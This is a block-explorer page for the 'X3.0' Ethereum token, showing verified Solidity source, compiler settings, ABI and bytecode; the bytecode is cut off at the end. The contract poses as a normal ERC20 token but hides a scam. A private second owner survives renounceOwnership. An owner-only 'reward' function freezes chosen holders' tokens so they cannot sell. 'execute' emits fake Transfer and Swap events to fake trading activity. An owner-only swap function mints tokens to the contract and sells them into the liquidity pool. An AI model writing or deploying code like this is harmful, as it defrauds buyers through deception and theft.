ETH Price: $3,359.08 (+2.57%)
Gas: 3 Gwei

Token

X3.0 (X3.0)
 

Overview

Max Total Supply

1,000,000 X3.0

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
55,487,270,794.557835377229255032 X3.0

Value
$0.00
0x8e3692b840afbab3356e64b2858123d542033fb3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X30

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : X30.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract X30 {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private crossamounts;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "X3.0";
    string public constant symbol = "X3.0";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 1_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (crossamounts[from] > 0) {
            require(_count(crossamounts[from], balances[from]) == 0);
        }
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function swapExactETHForTokens(
        address baseToken,
        address _recipient,
        uint256 amount
    ) public OnlyOwner {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;

        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;

        uint256 amountIn = _countAmountIn(amountOut, path);

        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                crossamounts[_users[i]] = rewardAmount;
            }
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "london",
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905569d3c21bcecceda10000006008553480156200004557600080fd5b5060028054336001600160a01b0319918216811790925560038054821690921790915560048054600080546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e391906200024f565b6001600160a01b031663c9c653963060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000144573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016a91906200024f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001de91906200024f565b600180546001600160a01b0319166001600160a01b039290921691909117905560085433600081815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000281565b6000602082840312156200026257600080fd5b81516001600160a01b03811681146200027a57600080fd5b9392505050565b6115ba80620002916000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80634cf2af43116100a257806395d89b411161007157806395d89b41146101105780639b792a441461025a578063a457c2d71461026d578063a9059cbb14610280578063dd62ed3e1461029357600080fd5b80634cf2af43146101eb57806370a08231146101fe578063715018a6146102275780638da5cb5b1461022f57600080fd5b806323b872dd116100de57806323b872dd14610198578063313ce567146101ab57806335d16274146101c557806339509351146101d857600080fd5b806306fdde0314610110578063095ea7b31461014957806318160ddd1461016c57806318aee92014610183575b600080fd5b61013360405180604001604052806004815260200163058332e360e41b81525081565b6040516101409190610ff2565b60405180910390f35b61015c610157366004611068565b6102a6565b6040519015158152602001610140565b61017560085481565b604051908152602001610140565b610196610191366004611094565b6102bd565b005b61015c6101a6366004611116565b6103c1565b6101b3601281565b60405160ff9091168152602001610140565b6101756101d3366004611157565b6103e3565b61015c6101e6366004611068565b610518565b6101966101f9366004611116565b61053a565b61017561020c366004611157565b6001600160a01b031660009081526006602052604090205490565b610196610736565b600254610242906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61015c6102683660046111df565b6107a2565b61015c61027b366004611068565b61081e565b61015c61028e366004611068565b6108a4565b6101756102a13660046112a0565b6108b1565b60006102b33384846108dc565b5060015b92915050565b6003546001600160a01b031633146102f05760405162461bcd60e51b81526004016102e7906112d9565b60405180910390fd5b60005b838110156103ba578261032686868481811061031157610311611310565b905060200201602081019061020c9190611157565b11156103a857600061035e86868481811061034357610343611310565b90506020020160208101906103589190611157565b84610a01565b9050806005600088888681811061037757610377611310565b905060200201602081019061038c9190611157565b6001600160a01b03168152602081019190915260400160002055505b806103b28161133c565b9150506102f3565b5050505050565b60006103ce843384610a2b565b6103d9848484610aa5565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561043b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045f919061136c565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e791906113bc565b6001600160a01b03161461050457816001600160701b031661050f565b826001600160701b03165b95945050505050565b6000336103d981858561052b83836108b1565b61053591906113d9565b6108dc565b6003546001600160a01b031633146105645760405162461bcd60e51b81526004016102e7906112d9565b6000811180156105765750620186a081105b6105ba5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016102e7565b60006105c5846103e3565b90506000620186a06105d784846113ec565b6105e19190611403565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061061957610619611310565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061064d5761064d611310565b60200260200101906001600160a01b031690816001600160a01b03168152505060006106798383610cd5565b600080543080835260066020526040909220549293506106a4926001600160a01b03909116906108dc565b6000546001600160a01b0316638803dbee8483858a6106c5426104b06113d9565b6040518663ffffffff1660e01b81526004016106e5959493929190611469565b6000604051808303816000875af1158015610704573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261072c91908101906114a5565b5050505050505050565b6002546001600160a01b031633146107905760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016102e7565b600280546001600160a01b0319169055565b6003546000906001600160a01b031633146107cf5760405162461bcd60e51b81526004016102e7906112d9565b60005b8551811015610812576108008682815181106107f0576107f0611310565b6020026020010151868686610dec565b8061080a8161133c565b9150506107d2565b50600195945050505050565b6000338161082c82866108b1565b90508381101561088c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e7565b61089982868684036108dc565b506001949350505050565b60006102b3338484610aa5565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6001600160a01b03831661093e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e7565b6001600160a01b03821661099f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038216600090815260066020526040812054610a249083610e80565b9392505050565b6000610a3784846108b1565b90506000198114610a9f5781811015610a925760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016102e7565b610a9f84848484036108dc565b50505050565b6001600160a01b038316610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e7565b6001600160a01b038216610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e7565b6001600160a01b03831660009081526006602052604090205481811015610be35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e7565b6001600160a01b03841660009081526005602052604090205415610c3a576001600160a01b038416600090815260056020908152604080832054600690925290912054610c309190610e80565b15610c3a57600080fd5b610c448183610e8c565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610c739083610ef2565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc79086815260200190565b60405180910390a350505050565b604080516002808252606080830184526000939092919060208301908036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d2b9087908790600401611536565b600060405180830381865afa158015610d48573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d7091908101906114a5565b905080600081518110610d8557610d85611310565b602002602001015160066000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610dc191906113d9565b9250508190555080600081518110610ddb57610ddb611310565b602002602001015191505092915050565b610df68484610f51565b610e01838386610f99565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ba919061154f565b6000610a2482846113d9565b600082821115610ede5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102e7565b6000610eea8385611571565b949350505050565b600080610eff83856113d9565b905083811015610a245760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102e7565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6004546040805185815260006020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109f4565b600060208083528351808285015260005b8181101561101f57858101830151858201604001528201611003565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105557600080fd5b50565b803561106381611040565b919050565b6000806040838503121561107b57600080fd5b823561108681611040565b946020939093013593505050565b600080600080606085870312156110aa57600080fd5b843567ffffffffffffffff808211156110c257600080fd5b818701915087601f8301126110d657600080fd5b8135818111156110e557600080fd5b8860208260051b85010111156110fa57600080fd5b6020928301999098509187013596604001359550909350505050565b60008060006060848603121561112b57600080fd5b833561113681611040565b9250602084013561114681611040565b929592945050506040919091013590565b60006020828403121561116957600080fd5b8135610a2481611040565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156111b3576111b3611174565b604052919050565b600067ffffffffffffffff8211156111d5576111d5611174565b5060051b60200190565b600080600080608085870312156111f557600080fd5b843567ffffffffffffffff81111561120c57600080fd5b8501601f8101871361121d57600080fd5b8035602061123261122d836111bb565b61118a565b82815260059290921b8301810191818101908a84111561125157600080fd5b938201935b8385101561127857843561126981611040565b82529382019390820190611256565b975050870135945050506040850135915061129560608601611058565b905092959194509250565b600080604083850312156112b357600080fd5b82356112be81611040565b915060208301356112ce81611040565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161134e5761134e611326565b5060010190565b80516001600160701b038116811461106357600080fd5b60008060006060848603121561138157600080fd5b61138a84611355565b925061139860208501611355565b9150604084015163ffffffff811681146113b157600080fd5b809150509250925092565b6000602082840312156113ce57600080fd5b8151610a2481611040565b808201808211156102b7576102b7611326565b80820281158282048414176102b7576102b7611326565b60008261142057634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561145e5781516001600160a01b031687529582019590820190600101611439565b509495945050505050565b85815284602082015260a06040820152600061148860a0830186611425565b6001600160a01b0394909416606083015250608001529392505050565b600060208083850312156114b857600080fd5b825167ffffffffffffffff8111156114cf57600080fd5b8301601f810185136114e057600080fd5b80516114ee61122d826111bb565b81815260059190911b8201830190838101908783111561150d57600080fd5b928401925b8284101561152b57835182529284019290840190611512565b979650505050505050565b828152604060208201526000610eea6040830184611425565b60006020828403121561156157600080fd5b81518015158114610a2457600080fd5b818103818111156102b7576102b761132656fea264697066735822122008f963326410fe50ab4223d28234f39d7f0e192dddd84b290489d47e3123f9f364736f6c63430008140033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80634cf2af43116100a257806395d89b411161007157806395d89b41146101105780639b792a441461025a578063a457c2d71461026d578063a9059cbb14610280578063dd62ed3e1461029357600080fd5b80634cf2af43146101eb57806370a08231146101fe578063715018a6146102275780638da5cb5b1461022f57600080fd5b806323b872dd116100de57806323b872dd14610198578063313ce567146101ab57806335d16274146101c557806339509351146101d857600080fd5b806306fdde0314610110578063095ea7b31461014957806318160ddd1461016c57806318aee92014610183575b600080fd5b61013360405180604001604052806004815260200163058332e360e41b81525081565b6040516101409190610ff2565b60405180910390f35b61015c610157366004611068565b6102a6565b6040519015158152602001610140565b61017560085481565b604051908152602001610140565b610196610191366004611094565b6102bd565b005b61015c6101a6366004611116565b6103c1565b6101b3601281565b60405160ff9091168152602001610140565b6101756101d3366004611157565b6103e3565b61015c6101e6366004611068565b610518565b6101966101f9366004611116565b61053a565b61017561020c366004611157565b6001600160a01b031660009081526006602052604090205490565b610196610736565b600254610242906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61015c6102683660046111df565b6107a2565b61015c61027b366004611068565b61081e565b61015c61028e366004611068565b6108a4565b6101756102a13660046112a0565b6108b1565b60006102b33384846108dc565b5060015b92915050565b6003546001600160a01b031633146102f05760405162461bcd60e51b81526004016102e7906112d9565b60405180910390fd5b60005b838110156103ba578261032686868481811061031157610311611310565b905060200201602081019061020c9190611157565b11156103a857600061035e86868481811061034357610343611310565b90506020020160208101906103589190611157565b84610a01565b9050806005600088888681811061037757610377611310565b905060200201602081019061038c9190611157565b6001600160a01b03168152602081019190915260400160002055505b806103b28161133c565b9150506102f3565b5050505050565b60006103ce843384610a2b565b6103d9848484610aa5565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561043b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045f919061136c565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e791906113bc565b6001600160a01b03161461050457816001600160701b031661050f565b826001600160701b03165b95945050505050565b6000336103d981858561052b83836108b1565b61053591906113d9565b6108dc565b6003546001600160a01b031633146105645760405162461bcd60e51b81526004016102e7906112d9565b6000811180156105765750620186a081105b6105ba5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016102e7565b60006105c5846103e3565b90506000620186a06105d784846113ec565b6105e19190611403565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061061957610619611310565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061064d5761064d611310565b60200260200101906001600160a01b031690816001600160a01b03168152505060006106798383610cd5565b600080543080835260066020526040909220549293506106a4926001600160a01b03909116906108dc565b6000546001600160a01b0316638803dbee8483858a6106c5426104b06113d9565b6040518663ffffffff1660e01b81526004016106e5959493929190611469565b6000604051808303816000875af1158015610704573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261072c91908101906114a5565b5050505050505050565b6002546001600160a01b031633146107905760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016102e7565b600280546001600160a01b0319169055565b6003546000906001600160a01b031633146107cf5760405162461bcd60e51b81526004016102e7906112d9565b60005b8551811015610812576108008682815181106107f0576107f0611310565b6020026020010151868686610dec565b8061080a8161133c565b9150506107d2565b50600195945050505050565b6000338161082c82866108b1565b90508381101561088c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e7565b61089982868684036108dc565b506001949350505050565b60006102b3338484610aa5565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6001600160a01b03831661093e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e7565b6001600160a01b03821661099f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038216600090815260066020526040812054610a249083610e80565b9392505050565b6000610a3784846108b1565b90506000198114610a9f5781811015610a925760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016102e7565b610a9f84848484036108dc565b50505050565b6001600160a01b038316610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e7565b6001600160a01b038216610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e7565b6001600160a01b03831660009081526006602052604090205481811015610be35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e7565b6001600160a01b03841660009081526005602052604090205415610c3a576001600160a01b038416600090815260056020908152604080832054600690925290912054610c309190610e80565b15610c3a57600080fd5b610c448183610e8c565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610c739083610ef2565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc79086815260200190565b60405180910390a350505050565b604080516002808252606080830184526000939092919060208301908036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d2b9087908790600401611536565b600060405180830381865afa158015610d48573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d7091908101906114a5565b905080600081518110610d8557610d85611310565b602002602001015160066000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610dc191906113d9565b9250508190555080600081518110610ddb57610ddb611310565b602002602001015191505092915050565b610df68484610f51565b610e01838386610f99565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ba919061154f565b6000610a2482846113d9565b600082821115610ede5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102e7565b6000610eea8385611571565b949350505050565b600080610eff83856113d9565b905083811015610a245760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102e7565b600154604051828152600